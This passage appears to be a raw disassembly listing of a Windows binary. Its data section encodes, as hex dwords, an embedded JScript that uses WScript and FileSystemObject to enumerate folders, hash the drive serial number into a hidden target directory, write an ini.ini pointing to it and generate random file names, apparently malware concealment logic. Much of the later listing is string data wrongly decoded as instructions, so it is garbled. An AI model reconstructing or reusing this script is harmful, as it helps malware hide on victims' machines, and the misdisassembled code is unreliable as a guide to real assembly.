		dd 730600h, 1E10901h, 200400h, 0A00600h, 0A80500h, 0AF0700h
		dd 40450h, 80650h, 610600h, 0A90800h, 30450h, 0AE0600h
		dd 60550h, 0D0800h, 650500h, 660700h, 6F0600h, 5C0900h
		dd 200400h, 0A50600h, 50550h, 90750h, 40450h, 530700h
		dd 6C0600h, 170852h, 30450h, 0E20600h, 280600h,	450800h
		dd 720500h, 790700h, 740600h, 1D10901h,	200400h, 750600h
		dd 0A80500h, 0AD0700h, 40450h, 70650h, 2E0600h,	770800h
		dd 30450h, 0AA0600h, 60550h, 90800h, 650500h, 640700h
		dd 6E0600h, 4C0900h, 200400h, 0A20600h,	50550h,	0EF0700h
		dd 40450h, 2B0700h, 690600h, 0D0851h, 30450h, 0E10600h
		dd 220600h, 430800h, 720500h, 760700h, 730600h,	1A90901h
		dd 200400h, 0A00600h, 0A80500h,	0E00700h, 40450h, 80650h
		dd 610600h, 0E50800h, 30450h, 0AE0600h,	60550h,	300800h
		dd 650500h, 680700h, 6F0600h, 0A70900h,	200400h, 0A50600h
		dd 50550h, 0A0750h, 40450h, 620700h, 6C0600h, 2F0900h
		dd 30450h, 0E20600h, 280600h, 5D0800h, 720500h,	0A40700h
		dd 740600h, 1990901h, 200400h, 750600h,	0A80500h, 0AB0700h
		dd 40450h, 70650h, 2E0600h, 700800h, 30450h, 0AA0600h
		dd 60550h, 0B0751h, 650500h, 630700h, 6E0600h, 3A0900h
		dd 200400h, 0A20600h, 50550h, 0E30700h,	40450h,	290700h
		dd 690600h, 0EB0800h, 30450h, 0E10600h,	220600h, 410800h
		dd 720500h, 6D0700h, 730600h, 1650901h,	200400h, 0A00600h
		dd 0A80500h, 0AF0700h, 40450h, 80650h, 610600h,	0AC0800h
		dd 30450h, 0AE0600h, 60550h, 2C0800h, 650500h, 660700h
		dd 6F0600h, 0A10900h, 200400h, 0A50600h, 50550h, 90750h
		dd 40450h, 530700h, 6C0600h, 250900h, 30450h, 0E20600h
		dd 280600h, 5B0800h, 720500h, 790700h, 740600h,	1550901h
		dd 200400h, 750600h, 0A80500h, 0AD0700h, 40450h, 70650h
		dd 2E0600h, 910800h, 30450h, 0AA0600h, 60550h, 0A0800h
		dd 650500h, 640700h, 6E0600h, 540900h, 200400h,	0A20600h
		dd 50550h, 0EF0700h, 40450h, 2B0700h, 690600h, 110851h
		dd 30450h, 0E10600h, 220600h, 440800h, 720500h,	760700h
		dd 730600h, 12D0901h, 200400h, 0A00600h, 0A80500h, 0E00700h
		dd 40450h, 80650h, 610600h, 0E60800h, 30450h, 0AE0600h
		dd 60550h, 3B0800h, 650500h, 680700h, 6F0600h, 0F10900h
		dd 200400h, 0A50600h, 50550h, 0A0750h, 40450h, 620700h
		dd 6C0600h, 320900h, 30450h, 0E20600h, 280600h,	670800h
		dd 720500h, 0A40700h, 740600h, 11D0901h, 200400h, 750600h
		dd 0A80500h, 0AB0700h, 40450h, 70650h, 2E0600h,	6A0800h
		dd 30450h, 0AA0600h, 60550h, 0B0751h, 650500h, 630700h
		dd 6E0600h, 390900h, 200400h, 0A20600h,	50550h,	0E30700h
		dd 40450h, 290700h, 690600h, 0E70800h, 30450h, 0E10600h
		dd 220600h, 3D0800h, 720500h, 6D0700h, 730600h,	0E30901h
		dd 200400h, 0A00600h, 0A80500h,	0AF0700h, 40450h, 80650h
		dd 610600h, 0A90800h, 30450h, 0AE0600h,	60550h,	0D0800h
		dd 650500h, 660700h, 6F0600h, 780900h, 200400h,	0A50600h
		dd 50550h, 90750h, 40450h, 530700h, 6C0600h, 170852h, 30450h
		dd 0E20600h, 280600h, 450800h, 720500h,	790700h, 740600h
		dd 0D30901h, 200400h, 750600h, 0A80500h, 0AD0700h, 40450h
		dd 70650h, 2E0600h, 770800h, 30450h, 0AA0600h, 60550h
		dd 90800h, 650500h, 640700h, 6E0600h, 4E0900h, 200400h
		dd 0A20600h, 50550h, 0EF0700h, 40450h, 2B0700h,	690600h
		dd 0D0851h, 30450h, 0E10600h, 220600h, 430800h,	720500h
		dd 760700h, 730600h, 0AB0901h, 200400h,	0A00600h, 0A80500h
		dd 0E00700h, 40450h, 80650h, 610600h, 0E50800h,	30450h
		dd 0AE0600h, 60550h, 300800h, 650500h, 680700h,	6F0600h
		dd 0E40900h, 200400h, 0A50600h,	50550h,	0A0750h, 40450h
		dd 620700h, 6C0600h, 310900h, 30450h, 0E20600h,	280600h
		dd 5D0800h, 720500h, 0A40700h, 740600h,	9B0901h, 200400h
		dd 750600h, 0A80500h, 0AB0700h,	40450h,	70650h,	2E0600h
		dd 700800h, 30450h, 0AA0600h, 60550h, 0B0751h, 650500h
		dd 630700h, 6E0600h, 460900h, 200400h, 0A20600h, 50550h
		dd 0E30700h, 40450h, 290700h, 690600h, 0EB0800h, 30450h
		dd 0E10600h, 220600h, 410800h, 720500h,	6D0700h, 730600h
		dd 670901h, 200400h, 0A00600h, 0A80500h, 0AF0700h, 40450h
		dd 80650h, 610600h, 0AC0800h, 30450h, 0AE0600h,	60550h
		dd 2C0800h, 650500h, 660700h, 6F0600h, 0A30900h, 200400h
		dd 0A50600h, 50550h, 90750h, 40450h, 530700h, 6C0600h
		dd 2D0900h, 30450h, 0E20600h, 280600h, 5B0800h,	720500h
		dd 790700h, 740600h, 570901h, 200400h, 750600h,	0A80500h
		dd 0AD0700h, 40450h, 70650h, 2E0600h, 910800h, 30450h
		dd 0AA0600h, 60550h, 0A0800h, 650500h, 640700h,	6E0600h
		dd 570900h, 200400h, 0A20600h, 50550h, 0EF0700h, 40450h
		dd 2B0700h, 690600h, 110851h, 30450h, 0E10600h,	220600h
		dd 440800h, 720500h, 760700h, 730600h, 2F0901h,	200400h
		dd 0A00600h, 0A80500h, 0E00700h, 40450h, 80650h, 610600h
		dd 0E60800h, 30450h, 0AE0600h, 60550h, 3B0800h,	650500h
		dd 680700h, 6F0600h, 130952h, 200400h, 0A50600h, 50550h
		dd 0A0750h, 40450h, 620700h, 6C0600h, 330900h, 30450h
		dd 0E20600h, 280600h, 670800h, 720500h,	0A40700h, 740600h
		dd 1F0901h
		dd 210100h, 350100h, 380100h, 3C0100h, 3E0100h,	3F0100h
		dd 470100h, 480100h, 4F0100h, 500100h, 520100h,	580100h
		dd 6B0100h, 710100h, 7A0100h, 7B0100h, 7D0100h,	810100h
		dd 840100h, 870100h, 8A0100h, 8C0100h, 8F0100h,	920100h
		dd 940100h, 0E80100h, 0E90100h,	0EC0100h
dword_40D378	dd 0EE0100h, 1000160h, 1B0152h,	2B0153h, 50351h, 810456h
					; DATA XREF: .data:0040C5F0o
		dd 210454h, 2010458h, 3010358h,	1010457h, 410455h, 190553h
		dd 50351h, 0C10456h, 310454h, 0D0552h, 3010358h, 1810457h
		dd 610455h, 6010559h, 50351h, 810456h, 210454h,	2010458h
		dd 3010358h, 1010457h, 410455h,	4010559h, 50351h, 0C10456h
		dd 310454h, 110553h, 3010358h, 1810457h, 610455h, 210601h
		dd 50351h, 810456h, 210454h, 2010458h, 3010358h, 1010457h
		dd 410455h, 190553h, 50351h, 0C10456h, 310454h,	0D0552h
		dd 3010358h, 1810457h, 610455h,	6010559h, 50351h, 810456h
		dd 210454h, 2010458h, 3010358h,	1010457h, 410455h, 4010559h
		dd 50351h, 0C10456h, 310454h, 110553h, 3010358h, 1810457h
		dd 610455h, 30601h, 40150h, 70151h, 90152h, 801015Ah, 230353h
		dd 830355h, 530354h, 1020350h, 110453h,	6010459h, 1010457h
		dd 310554h, 210454h, 40550h, 2010458h, 3010558h, 190453h
		dd 801045Ah, 1810457h, 610555h,	810456h, 90552h, 4010459h
		dd 50651h, 110453h, 6010459h, 1010457h,	410555h, 210454h
		dd 70551h, 2010458h, 0C01055Ah,	190453h, 801045Ah, 1810457h
		dd 0C10556h, 810456h, 0D0552h, 4010459h, 1801065Bh, 110453h
		dd 6010459h, 1010457h, 310554h,	210454h, 40550h, 2010458h
		dd 3010558h, 190453h, 801045Ah,	1810457h, 610555h, 810456h
		dd 90552h, 4010459h, 1001065Bh,	110453h, 6010459h, 1010457h
		dd 410555h, 210454h, 70551h, 2010458h, 0C01055Ah, 190453h
		dd 801045Ah, 1810457h, 0C10556h, 810456h, 0D0552h, 4010459h
		dd 10601h, 10150h, 2001015Ch, 3001045Ch, 6010559h, 4010459h
		dd 0C10556h, 90552h, 1801055Bh,	2010458h, 410555h, 4001045Dh
		dd 0C01055Ah, 2001045Ch, 1810557h, 110553h, 10603h, 10150h
		dd 20250h, 10150h, 30350h, 10150h, 20250h, 10150h, 50351h
		dd 4010459h, 190553h, 2001045Ch, 1810557h, 1001045Bh, 610555h
		dd 4001045Dh, 0C01055Ah, 801045Ah, 310554h, 3001045Ch
		dd 3010558h, 1801045Bh,	0C10556h, 6001045Dh, 0D0652h, 4010459h
		dd 110553h, 2001045Ch, 1010557h, 1001045Bh, 410555h, 4001045Dh
		dd 6010559h, 801045Ah, 210554h,	3001045Ch, 2010558h, 1801045Bh
		dd 810556h, 6001045Dh, 90652h, 4010459h, 190553h, 2001045Ch
		dd 1810557h, 1001045Bh,	610555h, 4001045Dh, 0C01055Ah
		dd 801045Ah, 310554h, 3001045Ch, 3010558h, 1801045Bh, 0C10556h
		dd 6001045Dh, 10604h, 40150h, 50251h, 40150h, 10350h, 40150h
		dd 50251h, 40150h, 20450h, 40150h, 50251h, 40150h, 10350h
		dd 40150h, 50251h, 40150h, 30450h, 2A0h	dup(0)
dword_40E188	dd 636E7566h, 6E6F6974h, 74657220h, 28677261h, 0D7B2029h
					; DATA XREF: sub_403B73+81o
		dd 6176090Ah, 72612072h, 3D207367h, 63535720h, 74706972h
		dd 6772412Eh, 6E656D75h, 0D3B7374h, 6572090Ah, 6E727574h
		dd 67726120h, 654C2E73h, 6874676Eh, 30203E20h, 61203F20h
		dd 28736772h, 3A202930h, 3B222220h, 0D7D0A0Dh, 2F0A0D0Ah
		dd 6948202Fh, 6F726620h, 6977206Dh, 7265746Eh, 75522079h
		dd 61697373h, 29293A20h, 61760A0Dh, 73662072h, 203D206Fh
		dd 2077656Eh, 69746341h, 4F586576h, 63656A62h, 53222874h
		dd 70697263h, 676E6974h, 6C69462Eh, 73795365h, 4F6D6574h
		dd 63656A62h, 3B292274h, 0A0D0A0Dh, 92202F2Fh, 0E9E3AAA5h
		dd 0AA20A9A8h, 0ABA0E2A0h, 0A0DA3AEh, 20726176h, 646C6F66h
		dd 3D207265h, 6F736620h, 7465472Eh, 646C6F46h, 22287265h
		dd 225C5C2Eh, 0A0D3B29h, 2F2F0A0Dh, 0E0A58F20h,	0A4AEE5A5h
		dd 20E2AE20h, 6C6C6F43h, 69746365h, 0AF206E6Fh,	0A0AAA4AEh
		dd 0AEABA0E2h, 20A2AEA3h, 724120AAh, 20796172h,	0AAA4AEAFh
		dd 0ABA0E2A0h, 0A2AEA3AEh, 61760A0Dh, 75732072h, 6C6F6662h
		dd 73726564h, 6E203D20h, 41207765h, 79617272h, 0D3B2928h
		dd 3D20650Ah, 77656E20h, 756E4520h, 6172656Dh, 28726F74h
		dd 646C6F66h, 532E7265h, 6F466275h, 7265646Ch, 0D3B2973h
		dd 726F660Ah, 203B2820h, 612E6521h, 646E4574h, 203B2928h
		dd 6F6D2E65h, 654E6576h, 29287478h, 90A0D29h, 66627573h
		dd 65646C6Fh, 702E7372h, 28687375h, 74692E65h, 29286D65h
		dd 0A0D3B29h, 2F2F0A0Dh, 0ADE39420h, 0EFA8E6AAh, 0EFABA420h
		dd 0E0AEE120h, 0AEE0A8E2h, 20A8AAA2h, 0A0E2A0AAh, 0AEA3AEABh
		dd 0AEAF20A2h, 0E2A0A420h, 0AEE120A5h, 0ADA0A4A7h, 0A0DEFA8h
		dd 636E7566h, 6E6F6974h, 72696420h, 74726F73h, 202C6128h
		dd 7B202962h, 74657220h, 206E7275h, 442E6128h, 43657461h
		dd 74616572h, 2D206465h, 442E6220h, 43657461h, 74616572h
		dd 3B296465h, 0A0D7D20h, 2F2F0A0Dh, 0E0AE9120h,	0E3E0A8E2h
		dd 0AA20ACA5h, 0ABA0E2A0h, 0DA8A3AEh, 6275730Ah, 646C6F66h
		dd 2E737265h, 74726F73h, 72696428h, 74726F73h, 0D0A0D29h
		dd 202F2F0Ah, 0F1E0A581h, 0A5E120ACh, 0ADA9A8E0h, 0AD20A9EBh
		dd 0E0A5ACAEh, 0ADA8A220h, 0E2E1A5E7h, 0DA0E0A5h, 7261760Ah
		dd 72657320h, 206C6169h, 6F66203Dh, 7265646Ch, 6972442Eh
		dd 532E6576h, 61697265h, 6D754E6Ch, 2E726562h, 74536F74h
		dd 676E6972h, 0D3B2928h, 2F0A0D0Ah, 0AA91202Fh,	0EBA4A0ABh
		dd 0ACA5A0A2h, 0A5E1A220h, 0E4A8E620h, 0E120EBE0h, 0A9A8E0A5h
		dd 0A0AAA8ADh, 0A5A1202Ch, 20ACF1E0h, 0A0E2E1AEh, 20AAAEE2h
		dd 0A420E2AEh, 0ADA5ABA5h, 0AD20EFA8h, 0A5A420A0h, 0ECE2EFA2h
		dd 2F2F0A0Dh, 0AF20A820h, 0E7E3ABAEh, 20ACA5A0h, 0A5ACAEADh
		dd 0E1A820E0h, 0AEACAEAAh, 0AA20AEA3h, 0ABA0E2A0h, 20A0A3AEh
		dd 757320A2h, 6C6F6662h, 73726564h, 61760A0Dh, 61682072h
		dd 3D206873h, 0D3B3020h, 726F660Ah, 61762820h, 20692072h
		dd 3B30203Dh, 3C206920h, 72657320h, 2E6C6169h, 676E656Ch
		dd 203B6874h, 292B2B69h, 68090A0Dh, 20687361h, 73203D2Bh
		dd 61697265h, 68632E6Ch, 6F437261h, 74416564h, 20296928h
		dd 3834202Dh, 0D0A0D3Bh, 7361680Ah, 3D2B2068h, 39313120h
		dd 0D0A0D3Bh, 7261760Ah, 74756F20h, 20726964h, 7573203Dh
		dd 6C6F6662h, 73726564h, 7361685Bh, 20252068h, 0D3B5D39h
		dd 2F0A0D0Ah, 0AE91202Fh, 0A5A0A4A7h, 0A0E420ACh, 6920ABA9h
		dd 692E696Eh, 0A420696Eh, 0AF20EFABh, 0A4A5E0A5h, 20A8E7A0h
		dd 0A0E2A0AAh, 0A0A3AEABh, 69736E20h, 0AAE12D73h, 0E2AFA8E0h
		dd 760A0DE3h, 69207261h, 6966696Eh, 3D20656Ch, 6C6F6620h
		dd 2E726564h, 61657243h, 65546574h, 69467478h, 2228656Ch
		dd 2E696E69h, 22696E69h, 7274202Ch, 3B296575h, 6E690A0Dh
		dd 6C696669h, 72572E65h, 4C657469h, 28656E69h, 65735B22h
		dd 6F697463h, 29225D6Eh, 690A0D3Bh, 6966696Eh, 572E656Ch
		dd 65746972h, 656E694Ch, 69642228h, 20223D72h, 756F202Bh
		dd 72696474h, 0A0D3B29h, 2F2F0A0Dh, 0E1A08C20h,	0EBA2A8E1h
		dd 0A0ABA320h, 0E5EBADE1h, 0E120A820h, 0A0ABA3AEh, 0E5EBADE1h
		dd 0AB91202Eh, 0ACAEA3AEh, 0A8E7E120h, 0E2A5A0E2h, 0E120EFE1h
		dd 0A0ABA3AEh, 0EFA0ADE1h, 0A0ABA32Bh, 0EFA0ADE1h, 61760A0Dh
		dd 6F762072h, 206C6577h, 656E203Dh, 72412077h, 28796172h
		dd 2C226122h, 22652220h, 6922202Ch, 22202C22h, 202C226Fh
		dd 2C227522h, 22792220h, 0A0D3B29h, 20726176h, 736E6F63h
		dd 6E616E6Fh, 203D2074h, 2077656Eh, 61727241h, 62222879h
		dd 22202C22h, 202C2263h, 2C226422h, 22662220h, 6722202Ch
		dd 22202C22h, 202C2268h, 2C226A22h, 226B2220h, 6C22202Ch
		dd 22202C22h, 202C226Dh, 2C226E22h, 22702220h, 7122202Ch
		dd 22202C22h, 202C2272h, 2C227322h, 22742220h, 7622202Ch
		dd 22202C22h, 202C2277h, 2C227822h, 227A2220h, 0A0D3B29h
		dd 2F2F0A0Dh, 0ABAE8A20h, 0E1A5E7A8h, 20AEA2E2h, 0A3AEABE1h
		dd 0A220A2AEh, 0A7A0AD20h, 0A8ADA0A2h, 760A0DA8h, 73207261h
		dd 616C6C79h, 73656C62h, 32203D20h, 68202B20h, 20687361h
		dd 3B332025h, 0A0D0A0Dh, 20726176h, 656D616Eh, 22203D20h
		dd 0D203B22h, 7261760Ah, 6F707620h
		db 73h

; =============== S U B	R O U T	I N E =======================================



sub_40E771	proc near		; CODE XREF: sub_40EAA7+1p
					; sub_40EEDB+19p ...

; FUNCTION CHUNK AT 0040E7C3 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0040E874 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 0040E8D4 SIZE 00000067 BYTES
; FUNCTION CHUNK AT 0040E94C SIZE 00000042 BYTES

		and	ds:72657320h, bh
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short loc_40E7C3
sub_40E771	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E780	proc near		; CODE XREF: sub_40EEDB+27Cp
					; sub_40F583+5Fp ...
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_40E7A8+6
		xor	[ecx], ch
		and	ds:776F7620h, ah ; CODE	XREF: sub_40E771+6Dj
		db	65h
		insb
		db	2Eh		; CODE XREF: .data:0040ECC0p
					; .data:0040ECC8p ...
		insb
sub_40E780	endp ; sp-analysis failed

		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0E7FFh
		cmp	ecx, ds:7261760Ah
		and	[ebx+70h], ah
		outsd
		jnb	short loc_40E7C3
		cmp	eax, 72657320h

loc_40E7A8:				; CODE XREF: sub_40E780+4j
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short near ptr loc_40E7F0+4
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_40E7DE+1
		xor	[ecx], ch
		and	ds:6E6F6320h, ah
		jnb	short sub_40E830
		outsb
		popa
; START	OF FUNCTION CHUNK FOR sub_40E771

loc_40E7C3:				; CODE XREF: sub_40E771+Dj
					; .data:0040E7A1j
		outsb
		jz	short near ptr loc_40E7F0+4
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0E834h
		cmp	ecx, ds:2F0A0D0Ah ; CODE XREF: sub_40E98E:loc_40EA58p
					; .data:0040EBF6p ...
		das
		and	[ecx-575A5456h], dl
		mov	ds:20ACA5A0h, al

loc_40E7DE:				; CODE XREF: .data:0040E7B5j
		loope	near ptr loc_40E788+3
		scasb
		mov	ds:660A0DA8h, eax
		outsd
		jb	short near ptr loc_40E808+1
		sub	[esi+61h], dh
		jb	short loc_40E80E
		push	20h

loc_40E7F0:				; CODE XREF: .data:0040E7AFj
					; sub_40E771+53j
		cmp	eax, 203B3020h
		push	20h
		cmp	al, 20h
		jnb	short loc_40E874
		insb
		insb
		popa
		bound	ebp, [ebp+73h]
		cmp	esp, [eax]
		push	2Bh
		sub	ebp, [ecx]

loc_40E808:				; CODE XREF: sub_40E771+76j
		and	[ebx+0Dh], bh
; END OF FUNCTION CHUNK	FOR sub_40E771

; =============== S U B	R O U T	I N E =======================================



sub_40E80B	proc near		; CODE XREF: sub_40F583+4Ep
		or	cl, [ecx]
		outsb

loc_40E80E:				; CODE XREF: sub_40E771+7Bj
		popa
		insd
		and	gs:[ebx], ch
		cmp	eax, 6E6F6320h
		jnb	short near ptr loc_40E888+1
		outsb
		popa
		outsb
		jz	short loc_40E87A
		arpl	[eax+6Fh], si
		jnb	short near ptr loc_40E843+1
		and	eax, 6E6F6320h
		jnb	short near ptr loc_40E899+1
		outsb
		popa
		outsb
		jz	short near ptr loc_40E85D+1
sub_40E80B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E830	proc near		; CODE XREF: .data:0040E7BFj
					; sub_40F73C+14Ap
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0E89Eh
		pop	ebp
		and	[ebx], ch
		and	[esi+6Fh], dh
		ja	short loc_40E8A3
		insb
		pop	ebx
		jbe	short near ptr loc_40E8AD+5
		outsd

loc_40E843:				; CODE XREF: sub_40E80B+17j
		jnb	short near ptr sub_40E863+2
		and	eax, 776F7620h
		db	65h
		insb
		db	2Eh
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0E8BBh
		pop	ebp
		cmp	ecx, ds:7076090Ah
		outsd
		jnb	short near ptr loc_40E87A+3

loc_40E85D:				; CODE XREF: sub_40E80B+23j
		sub	edi, ds:72657320h
sub_40E830	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E863	proc near		; CODE XREF: .data:0040ECD3p
					; .data:0040ECF3p ...
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short near ptr loc_40E8AD+2
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_40E899+1
		push	29h
sub_40E863	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40E771

loc_40E874:				; CODE XREF: sub_40E771+88j
		and	[ebx], ch
		and	[ecx], dh
		cmp	[ebx], edi

loc_40E87A:				; CODE XREF: sub_40E80B+12j
					; sub_40E830+2Bj
		or	eax, 7063090Ah
		outsd
		jnb	short near ptr loc_40E8A1+1
		sub	edi, ds:72657320h

loc_40E888:				; CODE XREF: sub_40E80B+Dj
		imul	esp, [ecx+6Ch],	6168632Eh
		jb	short loc_40E8D4
		outsd
		db	64h, 65h
		inc	ecx
		jz	short loc_40E8BF
		push	20h

loc_40E899:				; CODE XREF: sub_40E80B+1Ej
					; sub_40E863+Dj
		sub	esp, [eax]
		xor	[ecx], ebp
		and	[ebx], ch
		and	[ecx], dh

loc_40E8A1:				; CODE XREF: sub_40E771+10Fj
		xor	edi, [ebx]

loc_40E8A3:				; CODE XREF: sub_40E830+Cj
		or	eax, 0A0D7D0Ah
		or	eax, 202F2F0Ah	; CODE XREF: sub_40E771+152j

loc_40E8AD:				; CODE XREF: sub_40E863+7j
					; sub_40E771+157j ...
		test	[esi-545D5F5Fh], ch
		out	dx, eax
		movsd
		lodsb
		and	[edx-1F5051E0h], ah
		movsd
		movsb
		movsd

loc_40E8BF:				; CODE XREF: sub_40E771+124j
		stosd
		icebp
		lodsd
		lodsd
		jmp	short near ptr loc_40E8A8+2
; ---------------------------------------------------------------------------

loc_40E8C5:				; CODE XREF: sub_40E771+164j
		and	cl, ah
		stosd
		jecxz	short near ptr loc_40E8AD+4
		mov	al, ds:0E120E5EFh
		scasb
; END OF FUNCTION CHUNK	FOR sub_40E771
; ---------------------------------------------------------------------------
		dd 0E1A0ABA3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E771

loc_40E8D4:				; CODE XREF: sub_40E771+11Ej
		lodsd
		jecxz	short loc_40E8C5
		and	[edx-525155E0h], ah

loc_40E8DD:				; CODE XREF: sub_40E771:loc_40E939j
		movsd
		out	0Dh, al		; DMA controller, 8237A-5.
					; master clear.
					; Any OUT clears the ctrlr (must be re-initialized)
		or	ch, [ecx+66h]
		and	[eax], ch
		jnb	short loc_40E94C
		jb	short loc_40E952
		popa
		insb
		arpl	cs:[eax+61h], bp
		jb	short near ptr loc_40E933+1
		outsd
		db	64h, 65h
		inc	ecx
		jz	short near ptr loc_40E91E+1
		xor	al, 29h
		and	[esi], bh
		and	ds:0A0D2932h, dh
		or	[esi+61h], ebp
		insd
		and	gs:[ebx], ch
		cmp	eax, 6E6F6320h
		jnb	short loc_40E97E
		outsb
		popa
		outsb
		jz	short loc_40E96F
		arpl	[eax+6Fh], si
		jnb	short loc_40E939
		and	eax, 6E6F6320h

loc_40E91E:				; CODE XREF: sub_40E771+184j
		jnb	short loc_40E98F
		outsb
		popa
		outsb
		jz	short near ptr loc_40E952+1
		insb
		outs	dx, byte ptr gs:[esi]
		db	67h
		jz	near ptr 0E993h
		pop	ebp
		cmp	ecx, ds:2F0A0D0Ah
		das

loc_40E933:				; CODE XREF: sub_40E771+17Ej
		and	[edi-1E575060h], al

loc_40E939:				; CODE XREF: sub_40E771+1A6j
		jmp	short loc_40E8DD
; END OF FUNCTION CHUNK	FOR sub_40E771
; ---------------------------------------------------------------------------
		db 0A0h
		dd 0A820ACA5h, 0E420EFACh, 0A0ABA9A0h, 0A820A220h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E771

loc_40E94C:				; CODE XREF: sub_40E771+174j
		lodsd
		test	al, 0E8h
		stosb
		jecxz	short near ptr loc_40E95E+1

loc_40E952:				; CODE XREF: sub_40E771+176j
					; sub_40E771+1B2j
		or	ch, [ecx+6Eh]
		imul	esp, [esi+69h],	572E656Ch
		jb	short near ptr loc_40E9C3+4

loc_40E95E:				; CODE XREF: sub_40E771+1DFj
		jz	short near ptr loc_40E9C3+2
		dec	esp
		imul	ebp, [esi+65h],	616E2228h
		insd
		db	65h
		cmp	eax, 202B2022h

loc_40E96F:				; CODE XREF: sub_40E771+1A1j
		outsb
		popa
		insd
		and	gs:[ebx], ch
		and	[edx+65h], dh
		jz	short near ptr loc_40E9D7+4
		jb	short near ptr loc_40E9E0+3
		sub	[ecx], ch

loc_40E97E:				; CODE XREF: sub_40E771+19Cj
		and	[ebx], ch
		and	[edx], ah
		db	2Eh, 64h
		insb
		insb
		and	ch, [ecx]
		cmp	ecx, ds:2F0A0D0Ah
; END OF FUNCTION CHUNK	FOR sub_40E771

; =============== S U B	R O U T	I N E =======================================



sub_40E98E	proc near		; CODE XREF: .data:0040EE55p
					; sub_40F73C+F8p

var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 0040EA54 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040EA58 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040EA8B SIZE 0000001C BYTES

		das

loc_40E98F:				; CODE XREF: sub_40E771:loc_40E91Ej
		and	[esi+61h], dh
		jb	short loc_40E9B4
		outsd
		push	ebx
		push	206C6C65h
		cmp	eax, 63535720h
		jb	short loc_40EA0B
		jo	short near ptr loc_40EA17+1
		db	2Eh
		inc	ebx
		jb	short loc_40EA0D
		popa
		jz	short loc_40EA10
		dec	edi
		bound	ebp, [edx+65h]
		arpl	[eax+ebp+22h], si
		push	edi

loc_40E9B4:				; CODE XREF: sub_40E98E+4j
		push	ebx
		arpl	[edx+69h], si
		jo	short near ptr loc_40EA2C+2
		db	2Eh
		push	ebx
		push	226C6C65h
		sub	[ebx], edi

loc_40E9C3:				; CODE XREF: sub_40E771:loc_40E95Ej
					; sub_40E771+1EBj
		or	eax, 202F2F0Ah
		outsd
		push	ebx
		push	2E6C6C65h
		inc	ebx
		jnz	short near ptr loc_40EA42+2
		jb	short loc_40EA39
		outsb
		jz	short near ptr loc_40EA19+2

loc_40E9D7:				; CODE XREF: sub_40E771+207j
		imul	esi, [edx+65h],	726F7463h
		jns	short loc_40EA00

loc_40E9E0:				; CODE XREF: sub_40E771+209j
		cmp	eax, 74654720h
		push	esp
		push	72615065h
		outs	dx, byte ptr gs:[esi]
		jz	short loc_40EA2A
		or	eax, 202F2F0Ah
		push	edi
		push	ebx
		arpl	[edx+69h], si
		jo	short loc_40EA6F
		db	2Eh
		inc	ebp
		arpl	[eax+6Fh], bp

loc_40EA00:				; CODE XREF: sub_40E98E+50j
		sub	[edi+53h], ch
		push	2E6C6C65h
		inc	ebx
		jnz	short near ptr loc_40EA7C+1

loc_40EA0B:				; CODE XREF: sub_40E98E+12j
		jb	short near ptr loc_40EA71+1

loc_40EA0D:				; CODE XREF: sub_40E98E+18j
		outsb
		jz	short loc_40EA54

loc_40EA10:				; CODE XREF: sub_40E98E+1Bj
		imul	esi, [edx+65h],	726F7463h

loc_40EA17:				; CODE XREF: sub_40E98E+14j
		jns	short loc_40EA42

loc_40EA19:				; CODE XREF: sub_40E98E+47j
		cmp	ecx, ds:202F2F0Ah
		db	66h
		jnb	short near ptr loc_40EA90+1
		db	2Eh
		inc	ebx
		jb	short loc_40EA8B
		popa
		jz	short near ptr loc_40EA8D+1
		inc	esi

loc_40EA2A:				; CODE XREF: sub_40E98E+5Fj
		outsd
		insb

loc_40EA2C:				; CODE XREF: sub_40E98E+2Aj
		db	64h, 65h
		jb	short loc_40EA58
sub_40E98E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40EA30	proc near		; CODE XREF: .data:0040EC85p
		and	ch, [esi]
		pop	esp
		pop	esp
		popa
		jnb	short loc_40EA98
		jnb	short loc_40EA9D

loc_40EA39:				; CODE XREF: sub_40E98E+44j
		db	66h
		and	ch, [ecx]

loc_40EA3C:				; DATA XREF: .data:off_41618Co
					; .data:off_416190o
		cmp	ecx, ds:0FFFC000Ah

loc_40EA42:				; CODE XREF: sub_40E98E:loc_40EA17j
					; sub_40E98E+42j
		jmp	fword ptr [eax+58h]
sub_40EA30	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 30h,	0, 10h
		dd 4415FF50h, 83100030h, 0BD8D0CC4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E

loc_40EA54:				; CODE XREF: sub_40E98E+80j
		add	ah, bh
; END OF FUNCTION CHUNK	FOR sub_40E98E
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E

loc_40EA58:				; CODE XREF: sub_40E98E:loc_40EA2Cj
		call	near ptr loc_40E7CC+2
		pop	edi
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_40E98E

; =============== S U B	R O U T	I N E =======================================



sub_40EA60	proc near		; CODE XREF: sub_40E98E+111p
					; sub_40FBF8+11Fp ...

arg_0		= dword	ptr  4

		test	ecx, ecx
		push	esi
		mov	esi, eax
		mov	eax, [esp+4+arg_0]
		jz	short loc_40EA7C
